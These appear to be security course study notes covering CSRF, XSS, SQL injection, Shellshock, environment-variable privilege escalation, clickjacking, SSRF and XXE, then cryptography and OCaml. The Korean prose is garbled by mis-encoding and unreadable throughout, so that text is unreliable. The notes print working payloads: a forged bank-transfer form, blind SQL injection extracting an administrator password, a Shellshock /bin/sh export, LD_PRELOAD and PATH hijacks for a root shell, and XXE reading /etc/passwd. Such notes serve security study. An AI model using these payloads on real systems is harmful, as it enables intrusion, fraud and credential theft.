1Set-Cookie: name=value; HttpOnly CSRF (Cross Site Request Forgery) ๋ค๋ฅธ ์ฌ์ดํธ์์ ์์ฒญ์ ์์กฐํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
๋ฐฐ๊ฒฝ ํน์ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธ๋ ์ํ๋ผ๋ฉด, ์ฌ์ฉ์๋ฅผ ํ์ธํ๊ธฐ ์ํด ๋ธ๋ผ์ฐ์ ์์ ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ์ ์ก cross-site์์๋ ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ๋ณด๋์๋, ์๋ฒ๊ฐ same-site์ธ์ง cross-site์ธ์ง ํ์ธ์ด ๋ถ๊ฐํ ๊ฒฝ์ฐ CSRF ๊ณต๊ฒฉ ๊ฐ๋ฅ ์์ ์๋๋ฆฌ์ค ํผํด์๊ฐ ํ์ฌ ๋ก๊ทธ์ธ๋ ์ํ๋ก Malicious Site์ ์ ์ Malicious site์์ ํผํด์ ์์ง์ ์๊ด์์ด ์ฟ ํค์ ํจ๊ป ์์ฒญ์ ์ ์ก GET ์์ ์ฝ๋ 1<img src="http://bank.com/transfer?to=attacker&amount=1000" /> POST ์์ ์ฝ๋ 1<form action="http://bank.com/transfer" method="post"> 2 <input type="hidden" name="to" value="attacker" /> 3 <input type="hidden" name="amount" value="1000" /> 4</form> 5<script> 6 document.forms[0].submit(); 7</script> ๋ฐฉ์ด Referer Header ์์ฒญ์ ๋ณด๋ธ ํ์ด์ง์ ์ฃผ์๋ฅผ ๋ํ๋ด๋ HTTP header๋ฅผ ํ์ธํ์ฌ, ์์ฒญ์ ๋ณด๋ธ ํ์ด์ง๊ฐ ๊ฐ์ ์ฌ์ดํธ์ธ์ง ํ์ธ
1Referer: http://www.example.com ํ๊ณ ํด๋น field๋ฅผ ์ด์ฉํด์ ์ ์ ๊ธฐ๋ก์ ํ์ธ ๊ฐ๋ฅ -> ๊ฐ์ธ์ ๋ณด ๋ณดํธ ๋ฌธ์ Same-Site Cookies ์๋ฒ๊ฐ ์ฟ ํค๋ฅผ ์ ์กํ ๋, SameSite๋ผ๋ ์ฟ ํค ์์ฑ๋ฅผ ์ ์ก, same-site์ธ์ง cross-site์ธ์ง ํ์ธํ์ฌ, ์ค์ ๊ฐ์ ๋ฐ๋ผ ์ฟ ํค๋ฅผ ์ ์กํ์ง ์์
์ค์ ๊ฐ None (๋ชจ๋ ์์ฒญ์ ์ฟ ํค ์ ์ก) Strict (cross-site๋ ํญ์ ์ฟ ํค ์ ์กํ์ง ์์) Lax (cross-site๋ GET ์์ฒญ์์๋ง ์ฟ ํค ์ ์กํ์ง ์์) Secret Token ํน์ origin์ ์ฒซ ์์ฒญ๋, ํน์ ํ ํ ํฐ์ ์์ฑ, ์ดํ ์์ฒญ์ ํด๋น ํ ํฐ์ ํจ๊ป ์ ์กํ์ฌ, ์์ฒญ์ด ๊ฐ์ Origin์์ ์จ ๊ฒ์ธ์ง ํ์ธ
Bypassing with Clickjacking ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ํด๋ฆญ์ ์ ๋ํ์ฌ, CSRF ๊ณต๊ฒฉ์ ์ํํ๋ ๊ธฐ๋ฒ
๋ฐฉ์ด X-Frame-Options Header (๊ฐ : DENY, SAMEORIGIN, ALLOW-FROM uri) ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ๋ ๊ฒ์ ๋ฐฉ์ง
XSS(Cross Site Scripting) Attack Non-persistent (Reflected) XSS Attack ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ๊ทธ๋๋ก ์ถ๋ ฅํ์ฌ, ๊ณต๊ฒฉ์๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ query string์ ์คํํ๋ ํ์ด์ง๊ฐ ์กด์ฌ (innerHTML) ํผํด์๊ฐ ํด๋น ๋งํฌ๋ฅผ ์คํ => http://www.example.com/search?input=<script>alert(โattackโ);</script> ํผํด์์ ๋ธ๋ผ์ฐ์ ์์ alert๊ฐ ์คํ๋จ Persistent (Stored) XSS Attack ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ DB์ ์ ์ฅํ์ฌ, ๊ณต๊ฒฉ์๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ ๊ฒ์ํ์ ๊ธ์ ์์ฑํ๋ ํ์ด์ง๊ฐ ์กด์ฌ ํผํด์๊ฐ ํด๋น ํ์ด์ง์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ๊ธ์ ์์ฑ ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ํด๋น ๊ธ์ ์ฝ์ ๋, ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋จ XSS๋ก ๋ฐ์ ๊ฐ๋ฅํ ํผํด Web defacing(์นํ์ด์ง ๋ณ์กฐ) Spoofing requests(์ฌ์ฉ์์ ์์ฒญ ๋ณ์กฐ) Stealing information(์ ๋ณด ํ์ทจ) Self-Propagation XSS Worm XSS ๊ณต๊ฒฉ์ ํตํด, ์๋์ผ๋ก ๊ณต๊ฒฉ์ ์ ํํ๋ ๊ธฐ๋ฒ
2๊ฐ์ง ์ ๊ทผ DOM Approach 1let jsCode = document.getElementById('worm').innerHTML; Link Approach 1let jsCode = `'<script src="http://www.example.com/worm.js"></script>'`; ๋ฐฉ์ด ์
๋ ฅ๊ฐ ํํฐ๋ง : ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ํํฐ๋งํ์ฌ, ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํ๋ค Encoding : ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ์ถ๋ ฅํ ๋, HTML Encodingํ์ฌ, ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํ๋ค Content Security Policy (CSP) : ์นํ์ด์ง์์ ์คํ ๊ฐ๋ฅํ ๋ฆฌ์์ค๋ฅผ ์ ํํ์ฌ, XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ค ์์ (script ํ์ผ) 1Content-Security-Policy: script-src 'self' example.com ์์ (inline script) 1Content-Security-Policy: script-src 'nonce-2726c7f26c' 2// allowed script 3`<script nonce=2726c7f26c> ... </script>` 4// not allowed script 5`<script nonce=42eh44jhad> ... </script>` SQL Injection SQL ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ํ์ฌ, DB์ ๋ํ ๊ณต๊ฒฉ์ ์ํํ๋ ๊ธฐ๋ฒ
์์ EID์ “EID5002’#“์ ์ฝ์
-> PASSWORD ๊ฒ์ฆ์ ์ฐ์ฆ 1SELECT NAME, SALERY, SSN 2FROM EMPLOYEE 3WHERE EID='EID5002'#' AND PASSWORD='1234'; curl์ ์ด์ฉํด์ SQL Injection ๊ณต๊ฒฉ 1curl 'www.example.com/getdata.php?EID=a' OR 1=1&PASSWORD=' ๋ฐฉ์ด Filtering and Encoding data SQL Injection์์ ์ฐ์ด๋ ํน์๋ฌธ์๋ฅผ Filtering, Encoding
1$mysqli->real_escape_string($input); ํ๊ณ ํ์ํ ๋ฌธ์์ด์ ํํฐ๋งํ ์ ์์ Prepared Statements SQL ์ฟผ๋ฆฌ๋ฅผ ๋ฏธ๋ฆฌ ์ค๋นํ์ฌ, ์ฌ์ฉ์์ ์
๋ ฅ๊ฐ์ ์ฝ์
ํ์ง ์๊ณ , ์ฟผ๋ฆฌ๋ฅผ ์คํ
1$stmt = $mysqli->prepare("SELECT NAME, SALARY, SSN FROM EMPLOYEE WHERE EID=? AND PASSWORD=?"); 2// ss means "string string" 3$stmt->bind_param("ss", $EID, $PASSWORD); 4$stmt->execute(); Blind SQL Injection SQL Injection ๊ณต๊ฒฉ์ ํตํด, DB์ ๋ํ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๊ธฐ๋ฒ
Conditional Response 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฐ์ง ํ์ธ */ 2xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm 3/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 't'๋ณด๋ค ํฐ์ง ํ์ธ */ 4xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't SQL Error - Divide by Zero 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ์ค๋ฅ ๋ฐ์ */ 2xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 3'm') THEN 1/0 ELSE 'a' END FROM Users)='a SQL Error - Cast 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ์ค๋ฅ ๋ฐ์ */ 2CAST((SELECT example_column FROM example_table) AS int) Time Delay 1/* Password์ ์ฒซ๋ฒ์งธ ๋ฌธ์๊ฐ 'm'๋ณด๋ค ํฌ๋ฉด ๋๋ ์ด ๋ฐ์ */ 2'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND 3SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'- ShellShock Attack bash ์์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Set-UID Programs Set-UID root ๊ถํ์ ๊ฐ์ง ํ๋ก๊ทธ๋จ์ด systemํจ์๋ฅผ ํธ์ถํ ๋, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
RUID : Real User ID : ํ๋ก๊ทธ๋จ์ ์คํํ ์ฌ์ฉ์์ ๊ถํ EUID : Effective User ID : ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ ๊ถํ Set-UID Program : ์ฌ์ฉ์๊ฐ ํ๋ก๊ทธ๋จ์ root ๊ถํ์ผ๋ก ์คํํ ์ ์๋๋ก ํ๋ ํ๋ก๊ทธ๋จ, RUID์ EUID๊ฐ ๋ค๋ฆ, Set-UID Program์ ๋ง๋๋ ๋ฐฉ๋ฒ 1$ sudo chown root vul 2$ sudo chmod 4755 vul 3$ ls -l vul 4-rwsr-xr-x 1 root root 1234 Mar 11 12:00 vul # s๊ฐ ์กด์ฌ ์ทจ์ฝํ C ํ๋ก๊ทธ๋จ (vul : Set-UID program) 1#include <stdio.h> 2void main() { 3 setuid(geteuid()); // root ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๋ก ์ค์ 4 system("/bin/ls -l"); // ls -l ๋ช
๋ น์ด ์คํ 5} ๊ณต๊ฒฉ ๋ช
๋ น์ด 1$ export foo='() { echo "hello"; }; /bin/sh' 2$ ./vul CGI(Common Gateway Interface) Programs ์น ์๋ฒ์์ ์ฌ์ฉํ๋ CGI ํ๋ก๊ทธ๋จ์ ๋ํ ์ทจ์ฝ์
์ทจ์ฝํ CGI ํ๋ก๊ทธ๋จ (test.cgi) 1#!/bin/bash 2echo "Content-type: text/plain" 3echo 4echo "Hello, World!" ๊ณต๊ฒฉ ๋ช
๋ น์ด 1$ curl http://10.0.2.69/cgi-bin/test.cgi 2Hello, World! ๊ณต๊ฒฉ์ ํ์ฉํ๋ ๋ฐฉ๋ฒ ์ค์ ํ์ผ์ ํ๋์ฝ๋ฉ๋ db password ํ์ทจ reverse shell ์คํ Environment Variables & Attacks ํ๋ก์ธ์ค๊ฐ ํ๊ฒฝ๋ณ์๋ฅผ ์ป๋ ๋ฐฉ๋ฒ fork() : ์์์ ์์ฑ, ์์์ด ๋ถ๋ชจ์ ํ๊ฒฝ๋ณ์๋ฅผ ์์ execve() : ์๋ก์ด ํ๋ก๊ทธ๋จ์ ์์์ผ๋ก ์คํ, ์๋ก ํ๊ฒฝ๋ณ์๋ฅผ ์ค์ Attacks via Dynamic Linker ๋งํฌ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์กฐ์ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์๋ฆฌ LD_PRELOAD๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ชฉ๋ก์ ์ ์ฅ ํจ์๋ฅผ ์ฐพ์ง ๋ชปํ๋ฉด, LD_LIBRARY_PATH์์ ์ฐพ์ ๋ ๋ณ์๋ฅผ ์กฐ์ํ์ฌ ๋งํฌ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์กฐ์ ์์ 1$ export LD_PRELOAD=/path/to/malicious.so 2$ ./vul Attacks via Execution Program ์คํ ํ๋ก๊ทธ๋จ์ ์กฐ์ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
์์ 1$ export PATH=/path/to/malicious:$PATH 2$ ./vul 3# // root shell ์ทจ๋ Attacks via Library format string ๋ฑ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Attacks via Application Code buffer overflow ๋ฑ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
Set-UID Approach VS Service Approach Clickjacking Attack ์ฌ์ฉ์์ ์๋์ ์๊ด์์ด ํด๋ฆญ์ ์ ๋ํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
1<iframe id="top" src="http://www.attack.com" style="opacity: 0"></iframe> 2<iframe id="bottom" src="http://www.example.com>" style="opacity: 1"></iframe> ๋ฐฉ์ด Client-side (Framekiller and Framebuster) javascript๋ฅผ ์ด์ฉํ์ฌ, ํด๋น ํ์ด์ง๊ฐ iframe์ผ๋ก ๋ ๋๋ง๋๋ ๊ฒ์ ๋ฐฉ์ง
1if (top != self) 2if (top.location != self.location) 3... ํ๊ณ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ด ๋ง์์ ๋ถ์์ -> ์ ์ฐ์ง ์๋๋ค ์ฐํ Double framing : ๋๊ฐ์ iframe์ ์ฌ์ฉํ์ฌ, ์ฒซ๋ฒ์งธ iframe์ ์จ๊ธฐ๊ณ , ๋๋ฒ์งธ iframe์ ๋ณด์ฌ์ค Abusing onBeforeUnload : ์ฌ์ฉ์๊ฐ ํ์ด์ง๋ฅผ ๋ ๋ ๋, alert์ ๋์์, ์ฌ์ฉ์์ ํด๋ฆญ์ ์ ๋ sandbox attribute : iframe์ sandbox attribute๋ฅผ ์ฌ์ฉํ์ฌ, ํด๋น iframe์์๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง ์๋๋ก ํจ options allow-same-origin allow-scripts allow-forms allow-modals allow-top-navigation ์์ 1<iframe ... sandbox="allow_forms allow-scripts"></iframe> Referrer checking problems Referer๋ฅผ ํ์ธํ์ฌ ํน์ ๋๋ฉ์ธ์ ์ฌ์ดํธ๋ง iframe์ผ๋ก ๋ ๋๋ง๋์๋์ง ํ์ธ
ํ๊ณ : Referer๋ฅผ ์กฐ์ํ์ฌ ์ฐํ ๊ฐ๋ฅ Server-side X-Frame-Options
ํน์ ORIGIN ํ์ด์ง์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ ์ ์๋๋ก ํจ
์์ 1X-Frame-Options: DENY // ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋งํ์ง ์์ 2X-Frame-Options: SAMEORIGIN // ๊ฐ์ ORIGIN ํ์ด์ง์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋ง 3X-Frame-Options: ALLOW-FROM uri // ํน์ uri์์๋ง ํด๋น ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ ๋๋ง Outdated : CSP ์ฌ์ฉ ๊ถ์ฅ Content Security Policy (CSP)
์นํ์ด์ง์์ ์คํ ๊ฐ๋ฅํ ๋ฆฌ์์ค๋ฅผ ์ ํ
script-src : ์คํฌ๋ฆฝํธ source๋ฅผ ์ ํ img-src : ์ด๋ฏธ์ง์ source๋ฅผ ์ ํ frame-ancestors : <frame>, <iframe>, <object>, <embed> ๋๋ <applet> ์์์ ๋ถ๋ชจ๋ฅผ ์ ํ ์์ 1$csp = "Content-Security-Policy: frame-ancestors *"; 2header($csp); Types of Context Integrity Visual Integrity ๋ณด์ด๋ ๊ฒ๊ณผ ์ค์ ๋ก ์คํ๋๋ ๊ฒ์ ์ฐจ์ด์ ๋ํ ๋ฌด๊ฒฐ์ฑ
๋ฐฉ์ด๋ฅผ ์ํ ๋ฐฉ๋ฒ : User Confirmation, UI Randomization, Visibility Detection on Click Temporary Integrity ์ฌ์ฉ์ ํ์ธ ์์ ๊ณผ ํด๋ฆญ ์์ ์์ ์ฌ์ด์ UI ์ํ ์ฐจ์ด์ ๋ํ ๋ฌด๊ฒฐ์ฑ
๋ฐฉ์ด๋ฅผ ์ํ ๋ฐฉ๋ฒ : Access Control Gadgets SSRF (Server Side Request Forgery) ์๋ฒ์์ ๋ค๋ฅธ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ
๊ณต๊ฒฉ (์๋ฒ๊ฐ ์ ๋ขฐ๋ ์๋ฒ์์ ์์ฒญ์ด ์จ ๊ฒ์ผ๋ก ์ฐฉ๊ฐ) 1POST /product/stock HTTP/1.0 2Content-Type: application/www-form-urlencoded 3Content-Length: 30 4 5stockApi=http://localhost/admin ๋ฐฉ์ด ์ฐจ๋จ๋ ๋ฌธ์์ด์ URL ์ธ์ฝ๋ฉ ๋๋ ๋์๋ฌธ์ ๋ณํ์ ํตํด ์จ๊น ์๋ก ๋ค๋ฅธ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ, ์์ฒญ์ ๋ณด๋ using @ 1https://expected-host:fakepassword@evil-host using # 1https://evil-host#expected-host Rogue DNS 1https://expected-host.evil-host Double encoding : # -> %23 -> %2523 XXE (XML eXternal Entity) Injection XML ํ์ฑ ๊ณผ์ ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
XML custom entity
XML์์ ์ฌ์ฉ์๊ฐ ์ ์ํ ์ํฐํฐ๋ฅผ ์ฌ์ฉํ์ฌ, ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฌธ์์ด์ ์ ์
1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE message [<!ENTITY greeting "Hello, ">]> 3<message> 4 <text>&greeting;world!</text> 5</message> Access internal file
XML ์ํฐํฐ๋ฅผ ์ด์ฉํ์ฌ, ์๋ฒ์ ํ์ผ์ ์ฝ์ด์ค๋ ๊ณต๊ฒฉ
1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE foo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> 3<stockCheck><productId>&xxe;</productId></stockCheck> With SSRF
SSRF์ ๊ฒฐํฉํ์ฌ, ์ธ๋ถ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ
1<!DOCTYPE foo[<!ENTITY xxe SYSTEM "http://localhost/admin">]> ์ํธ๊ธฐ์ ์ ํต์ ์ธ ์ํธ๊ธฐ์ ์ํธ์ ์ ์ ์ํธ๋ฅผ ์ฌ์ฉํ๋ ๋ชฉ์
๊ธฐ๋ฐ์ฑ (Confidentiality) : ์ ๋ณด๊ฐ ๋
ธ์ถ๋์ง ์์์ผํจ ์๋ฃ์ ๋ฌด๊ฒฐ์ฑ (Data Integrity) : ๋ฐ์ดํฐ๊ฐ ์๋ณ์กฐ๋๋ฉด ์๋จ ์ธ์ฆ (Authentication) : ์ ๋ณด์ ์ถ์ฒ๊ฐ ์ ๋นํด์ผํจ ๋ถ์ธ๋ฐฉ์ง (Non-repudiation) : ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ๊ฑฐ๋ถํ์ง ์์์ผํจ ์ํธ ์๊ณ ๋ฆฌ์ฆ์ ๊ธฐ๋ณธ ์กฐ๊ฑด (K : Key, M : Message, C : Cipher Text)
์ํธํ : E(K, M) = C ๋ณตํธํ : D(K, C) = C E(K, M)๊ณผ D(K, C)์ ๊ณ์ฐ์ ์ฌ์์ผ ํจ K๋ฅผ ๋ชจ๋ฅผ๋ C์์ M์ ๊ณ์ฐํ๋ ๊ฒ์ ์ด๋ ค์์ผ ํจ ์ํธ ํด๋
๋ฐฉ๋ฒ
Cipher Text Only Attack : ์ํธ๋ฌธ๋ง์ ์ด์ฉํ์ฌ ํ๋ฌธ์ ์ฐพ๋ ๊ณต๊ฒฉ Known Plain Text Attack : ์ํธ๋ฌธ๊ณผ ํ๋ฌธ์ ์ด์ฉํ์ฌ ํค๋ฅผ ์ฐพ๋ ๊ณต๊ฒฉ Chosen Plain Text Attack : ํ๋ฌธ์ ์ ํํ์ฌ ์ํธ๋ฌธ์ ์ฐพ๋ ๊ณต๊ฒฉ ์ํธ์ ์ข
๋ฅ ๋์นญํค(๋น๋ฐํค)(๊ด์ฉํค) ์ํธ ์ํธํ์ ๋ณตํธํ์ ๊ฐ์ ํค๋ฅผ ์ฌ์ฉํ๋ ์ํธ
์ฌ์ฉ์ n๋ช
์ ๋ฐ๋ผ ํ์ํ ํค์ ๊ฐ์ : n(n-1)/2 ์ํธ ์๊ณ ๋ฆฌ์ฆ์ ์ข
๋ฅ ๋ธ๋ก ์ํธ (DES, IDEA, AES) ํ๋ฌธ์ ๋ธ๋ก์ผ๋ก ๋๋์ด ์ํธํํ๋ ๋ฐฉ์
์คํธ๋ฆผ ์ํธ (RC4) ํ๋ฌธ๊ณผ ํค๋ฅผ ๋นํธ ๋จ์๋ก XORํ์ฌ ์ํธํํ๋ ๋ฐฉ์
ํ๊ตญ์์ ์ฐ๋ ์๊ณ ๋ฆฌ์ฆ ์ข
๋ฅ : NEAT, SEED, NES, ARIA ๊ณต๊ฐํค(๋น๋์นญํค) ์ํธ ์ํธํ์ ๋ณตํธํ์ ๋ค๋ฅธ ํค๋ฅผ ์ฌ์ฉํ๋ ์ํธ
์ฌ์ฉ์ n๋ช
์ ๋ฐ๋ผ ํ์ํ ํค์ ๊ฐ์ : 2n ๊ธฐ๋ฐ์ฑ (Confidentiality) : ๊ณต๊ฐํค๋ก ์ํธํ, ๊ฐ์ธํค๋ก ๋ณตํธํ ์ธ์ฆ (Authentication) : ๊ฐ์ธํค๋ก ์ํธํ, ๊ณต๊ฐํค๋ก ๋ณตํธํ ํค ์์ฑ DH ํค ๊ตํ ์ํธ๊ธฐ์ ์ ํ์ฉ ๋์งํธ ์๋ช
ํน์ฑ : ์์กฐ๋ถ๊ฐ, ๋ณ๊ฒฝ ๋ถ๊ฐ, ์๋ช
์ ์ธ์ฆ, ์ฌ์ฌ์ฉ ๋ถ๊ฐ, ๋ถ์ธ ๋ฐฉ์ง ๋ํ์ํธ์ ์์์ํธ ๊ธฐ์ Ocaml Functional Programming ํจ์ํ ํ๋ก๊ทธ๋๋ฐ์ ํจ์๋ฅผ ๊ฐ์ฒ๋ผ ๋ค๋ฃจ๋ ํ๋ก๊ทธ๋๋ฐ ํจ๋ฌ๋ค์
ํน์ง Immutable ๋ณ์์ ๊ฐ์ด ๋ณํ์ง ์๋๋ค
First-class function Higher-order function Referential transparency ๋์ผํ ์ธ์์ ๋ํด ํญ์ ๋์ผํ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ค
Lazy evaluation (์ง์ฐ ๊ณ์ฐ) ํ์ํ ๋๋ง ๊ณ์ฐ์ ์ํ
Primitive Types unit int float int_of_float : float->int float_of_int : int->float bool : true/false x = y : x equals y (structural equality) x <> y : x not equals y (structural equality) x == y : x equals y (physical equality) x != y : x not equals y (physical equality) char string ^ : string concatenation .[n] : n-th character .length : length of string .sub n m : substring from n to m Statement์ Expression Statement
ํ๋ก๊ทธ๋จ์ ์ํ์ ์ด(๋ฉ๋ชจ๋ฆฌ ์ํ๋ฅผ ๋ณ๊ฒฝํ๋ ํ์)๋ฅผ ์ํํ๋ ์ธ์ด์ ๊ตฌ์ฑ ์์
Expression
์คํ ์ ๊ฐ์ผ๋ก ๊ณ์ฐ์ธ๋ ์ธ์ด์ ๊ตฌ์ฑ์์
Statement๋ ๊ฐ์ ๋ฐํํ์ง ์๋๋ค
Expression์ ๊ฐ์ ๋ฐํํ๋ค
์์ ํจ์ํ ์ธ์ด๋ Expression๋ง์ ๊ฐ์ง๊ณ ์๋ค
Tuple 1let x = (1, 2, 3) Function first-class object (1๊ธ ๊ฐ์ฒด) ํ ๋น์ ๋์์ด ๋ ์ ์๋ค ํจ์์ ์ธ์๋ก ์ฌ์ฉํ ์ ์๋ค ํจ์์ ๋ฐํ๊ฐ์ผ๋ก ์ฌ์ฉํ ์ ์๋ค ๋น๊ต์ฐ์ฐ์ ์ ์ฉํ ์ ์๋ค Higher Order Function (๊ณ ์ฐจํจ์) ํจ์๋ฅผ ์ธ์๋ก ๋ฐ๊ฑฐ๋ ํจ์๋ฅผ ๋ฐํํ๋ ํจ์
์ฌ๊ทํจ์์ธ ๊ฒฝ์ฐ rec ํค์๋๋ฅผ ์ฌ์ฉํด์ผ ํ๋ค Conditional branch 1if [expression1] then [expression2] else [expression3] Pattern Matching binding occurrence Ocaml ์ปดํ์ผ๋ฌ๋ expression์ ํ์
์ ๊ธฐ๋ฐ์ผ๋ก ํจํด๋งค์นญ์ ์์ ์ฑ์ ๊ฒ์ฌ Lists :: : ๋ฆฌ์คํธ ์์ ์์๋ฅผ ์ฝ์
@ : ๋ฆฌ์คํธ๋ฅผ ์ฐ๊ฒฐ Type definition Disjoint union : ๊ตฌ๋ถ๋๋ ์๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ํ์
์ ๋ฌถ์ ํ์
Varient records๋ผ๊ณ ๋ ๋ถ๋ฆ type [type_name] = [constructor] (of [type])? (| [name] (of [type])?)* 1type number = 2 | Int of int 3 | Float of float Tail Call Optimization ์ฌ๊ทํจ์์ ํธ์ถ์ด ํจ์์ ๋ง์ง๋ง ํ์์ผ ๋, ์คํ์ ์ฌ์ฉํ์ง ์๊ณ ๋ฐ๋ณต๋ฌธ์ผ๋ก ์ต์ ํ
Syntax and Semantics Compilation ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ๋ค๋ฅธ ์ธ์ด๋ก ๋ฒ์ญํ๋ ํ์
์ ํฉํ ํ๋ก์ ํธ ํฐ ๊ท๋ชจ์ ์ํํธ์จ์ด ํ๋ก์ ํธ : ๊ฒ์ฆ์ ํตํด ์ค๋ฅ๋ฅผ ์ฌ์ ์ ํ์ง ๊ณ ์ฑ๋ฅ ์ํํธ์จ์ด : ์ต์ ํ๋ฅผ ํตํ ์ฑ๋ฅ ํฅ์ ์ ์์ค ์ํํธ์จ์ด : ๊ธฐ๊ณ์ด๋ก ๋ณํ ๋จ์ ํ์ต ๊ณก์ ์ด ๋๋ค Compilation ๊ณผ์ ์ด ๋น์ธ๊ณ ๋ณต์ก Interpretation ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ํด์ํ์ฌ ์คํํ๋ ํ์
์ ํฉํ ํ๋ก์ ํธ
๋์ ์ธ์ด์ ์์ ๋๋ฅผ ํ์ฉํ ์ํํธ์จ์ด prototyping : ๊ฒ์ฆ ์ ์ฐจ์ ๋ถ์ฌ๋ก ์ธํ ๋ค์ํ ๋์ ํน์ฑ ์กด์ฌ ์ฝ๊ณ ์ง๊ด์ ์ธ ๊ตฌ์กฐ๋ก ํ๋ก๊ทธ๋๋ฐ ๊ต์ก : ๊ตฌ๋ฌธ ๊ตฌ์กฐ๊ฐ ๋จ์ ์คํํ๊ฒฝ์ ์ํฅ์ ๋ฐ์ง ์๋ cross-platform ์ํํธ์จ์ด : platform ๋ณ๋ก ๊ตฌํ๋ interpreter๋ฅผ ํตํด ์คํ ๋จ์
์ฑ๋ฅ ์ด์๊ฐ ์กด์ฌ ๊ฒ์ฆ ์ ์ฐจ์ ๋ถ์ฌ๋ก ์ธํ ๊ฒฐํจ ํ์ง ๋ฐ ์์ ์ ์ด๋ ค์ Syntax (๊ตฌ๋ฌธ ๊ตฌ์กฐ) ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ “ํํ”
๊ตฌ๋ฌธ ๊ตฌ์กฐ์ ์ข
๋ฅ Concrete syntax : ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๊ตฌ๋ฌธ์ ํ
์คํธ๋ก ํํ Abstract syntax : Concrete syntax๋ฅผ ํธ๋ฆฌ ๊ตฌ์กฐ๋ก ํํ Semantics (์๋ฏธ) ํ๋ก๊ทธ๋๋ฐ ์ธ์ด ๊ตฌ๋ฌธ์ “์คํ๋์”
Unspecified Behaviors ํน์ ์กฐ๊ฑด์์ ๊ตฌ๋ฌธ์ ์ ์ํ์ง ์์ ๋์
Undefined Behaviors ํน์ ์กฐ๊ฑด์์ ๊ตฌ๋ฌธ์ ์ ์๋์ง ์์ ๋์
